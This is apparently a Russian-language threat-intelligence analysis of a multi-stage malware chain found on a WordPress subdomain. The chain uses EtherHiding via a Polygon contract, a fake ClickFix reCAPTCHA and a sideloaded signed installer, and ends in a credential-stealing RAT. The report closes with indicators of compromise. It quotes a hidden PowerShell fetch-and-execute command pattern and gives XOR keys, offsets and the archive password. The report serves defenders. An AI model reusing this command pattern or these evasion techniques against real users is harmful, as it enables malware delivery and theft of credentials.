13 июля 2026 года на WordPress-поддомене new-blog.artlist[.]io была обнаружена цепочка атак, объединившая технологию EtherHiding, имитацию reCAPTCHA в стиле ClickFix и подписанный установщик программного обеспечения StruSoft. Конечным результатом стало внедрение удалённого агента управления (RAT) с широким набором функций. Эта атака показывает, как злоумышленники комбинируют легитимные инструменты, маскировку запросов и многослойную загрузку для обхода классических защит и доставки вредоносного кода на устройства конечных пользователей.
Описание
Первая стадия начинается с внедрения обфусцированного JavaScript в начало HTML-страницы. Скрипт содержит простой декодер: данные в формате base64 преобразуются в массив байтов, каждый байт подвергается операции исключающего ИЛИ (XOR) с константой 0x50, а результат передаётся в конструктор new Function для выполнения. Перед любым сетевым взаимодействием загрузчик проверяет флаг окна и останавливается при повторном запуске. Этот код не содержит адрес следующего этапа напрямую - вместо этого он отправляет eth_call к смарт-контракту платформы Polygon (адрес 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2) с селектором 0xb68d1809. Восемь публичных RPC-серверов (Tenderly, dRPC, QuickNode и другие) обеспечивают отказоустойчивость. В ответ контракт возвращает строку домена auth-code-check[.]info, к которому загрузчик добавляет идентификатор кампании и метку времени в минутах.
Этот приём, известный как EtherHiding, позволяет менять хост доставки без правки инфицированной страницы: достаточно обновить данные в смарт-контракте. Далее загружается страница, имитирующая reCAPTCHA, - типичный ClickFix-оверлей. Посетителю предлагается нажать определённые клавиши и вставить команду PowerShell в терминал, при этом инспекция браузера блокируется. Команда имеет вид powershell -w h "iex(irm '...')", где ключ -w h скрывает окно PowerShell. Полученный скрипт через COM-объект WinHttp.WinHttpRequest.5.1 переключается на протокол HTTP (с добавлением параметра ?_=1) и после 20-секундной паузы загружает архиватор 7z.exe и защищённый паролем ZIP-архив размером около 31 МБ (пароль Arsen33).
Как показано в анализе цепочки, извлечённый из архива fdupdate.exe является подписанным обновлением для программы StruSoft FEM-Design. В процессе своей работы он загружает LibBind.dll, которая использует экспорт TBFVSS_DLL_SRV_64.dll для выделения памяти, читает файл Stream.Toolkit.dat (смещение 0x4c26a, длина 0x533a3), снимает XOR-маску 0xe5 и передаёт результат как функцию обратного вызова в API EnumTimeFormatsEx. Таким образом, Windows-функция перечисления форматов времени используется для выполнения раскодированного shell-кода. Далее shell-код ищет в определённых каталогах файлы с расширениями bak, db, bin, dat, raw, pak и отбирает среди них тот, который проходит проверку пользовательского хранилища с ключом 0x1b51b9fd. Таким файлом оказывается Face.dat.
Face.dat содержит 1178 записей с полезной нагрузкой. В двух из них скрыто самое важное: запись №4 (тег 16001) - скрипт/конфигурация в кодировке UTF-16, а запись №1168 (тег 16100) - 7,9 МБ исполняемого файла act.exe (Delphi x64). Скрипт прописывает закрепление в автозагрузку и планировщик задач от имени "FEM Update Model Manager", после чего загружает act.exe через внутренний интерпретатор. act.exe, в свою очередь, содержит зашифрованный AES-256-CBC блок, который декодируется в ZIP-архив с одним - raw x64 загрузчиком. Этот загрузчик снова снимает XOR-маску (0x43 ^ (i & 0xff)) и вручную картирует финальную DLL (экспортное имя bad.dll) в память процесса.
Финальная DLL является полноценным удалённым агентом. Она поддерживает запуск через rundll32, regsvr32, службу или svchost. После инициализации создаётся скрытое окно, которое через сообщения WM_COPYDATA принимает зашифрованные команды. Сетевой коммуникационный модуль использует AES-256 для шифрования и RSA для обмена ключами, формируя защищённый протокол с подписью. Агент умеет собирать данные из браузеров (Chromium и Firefox - логины, cookies, платёжные данные), делать скриншоты, захватывать нажатия клавиш, буфер обмена, выполнять скрипты cmd, передавать файлы с докачкой, управлять процессами, устанавливать SOCKS-прокси и разворачивать Tor-модуль. В статическом анализе обнаружены также пути для экспорта PFX-сертификатов с приватными ключами, хотя команды, активирующие этот код, в текущем сэмпле не найдены.
Обращает на себя внимание состояние серверной части доставки. Экспериментальный повтор запросов показал, что после успешной загрузки архива и запуска файла происходит безусловный запрос к /p/<токен>, который возвращает код 410 Gone и делает токен недействительным. Более того, при неправильном порядке запросов (сначала /p/, потом сам архив) также фиксируется отказ. Это указывает на строгий контроль состояния со стороны бэкенда - каждый сеанс имеет конечную длительность и одноразовый токен. Скорее всего, в уравнении участвуют не только временные метки, но и идентификатор посетителя, история рефереров и IP-адрес.
Операторы вложили значительные усилия в разбиение полезной нагрузки на множество слоёв. Каждый слой (JavaScript, PowerShell, подписанный установщик, динамические библиотеки, shell-код в дампах, Delphi, загрузчик вручную) использует разные методы сокрытия - XOR, смарт-контракты, маскировку под легитимные обновления. Общая длина цепочки составила более шести границ декодирования. Для специалистов по защите ключевыми индикаторами остаются не столько имена файлов (они легко меняются), сколько последовательность операций: вызов eth_call к конкретному контракту Polygon, использование аргумента ?_=1 в HTTP-запросах, пароль "Arsen33", смещение 0x4c26a и ключ 0xe5 для Stream.Toolkit.dat, ключ 0x1b51b9fd для Face.dat, а также семя AES-ключа act.exe и финальная маска 0x43 ^ (i & 0xff). Организациям рекомендуется усилить мониторинг на предмет скрытого запуска PowerShell с ключом -w h, скачивания 7z через HTTP, а также вызовов к подозрительным контрактам Polygon из браузеров на корпоративных машинах.
Индикаторы компрометации
IPv4 Port Combination
- 109.172.95.184:443
- 151.236.4.135:443
- 45.151.74.119:443
- 62.60.156.11:443
Domain
- auth-code-check.info
- new-blog.artlist.io
Domain Port Combination
- aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwltbcysuybirygxzvp23ad.onion:443
- fejdqikkdwheckrutucbbyeovpdnef4bopz2fx636i67p3qpffpfxxad.onion:443
- t77e4phezpwqebpbhdagr26ewkfaxytscimhxofws4wcisjo4wundead.onion:443
- vsjyfpt7vcd6atniefmz36ikxrqk5eyv573a2af4e2ntb437wdch63yd.onion:443
SHA256
- 06157c24ed9ad3b2a639ca901deac6a29c26861ab5f6da31093247eadec9139a
- 0c080d3b70beb766f522d0b48855ce5642665b9c77a5c1abb1f4530244e61d2d
- 2f592365de553d8bb023a9e11439c2e18dcbe84d22b0cd6025b043d7d9029ac7
- 3a9b8eccad62d84fc59f86dae41e8c74ae6ae544f079b099b12b37de1abd7a60
- 629518befad5153a2e8352e30f6a5169bac2c17329497678d5686cf15a0aacc9
- 6bc18b6c6050bdd554c4a945838b8b3a35b5c5813b950cf5f2e822b2396718cf
- 72e4ecdbd5bfc150f9f43b8d9e04a07408f5da3bccda9c5080616c63d0f6067d
- 75d4b6cec5bdc40cda25b5b9be136ccca97d77843825796beace7ddbfe87b614
- 8035b177ca682962fd6501228ebd460ef174183ac08a87d81514bba3ecfd9502
- 82193ac9cb7a933b421f9fa99d874e242285ab6f06d50b3cd81684f4f939c1b3
- 87892ebf77e8a33a3423ec3272d269116f7c6de58c3c29bed71c2ae46de3f228
- a0812fec1c5051121c332d6add4f2b05df43e3190ceebfef29ca56d62ceca48d
- a30c6a042e65c8a94fdb08ffbc8c8328adaea929b5ab932ece91be53fbc19ec8
- a7c94343b51643b7477ba2c7630b168ce3cb1f03126a85c39363e70742e3afb5
- d518964aa67c359d0a806909451130591e337276bea33b6d41ef79126904ca3a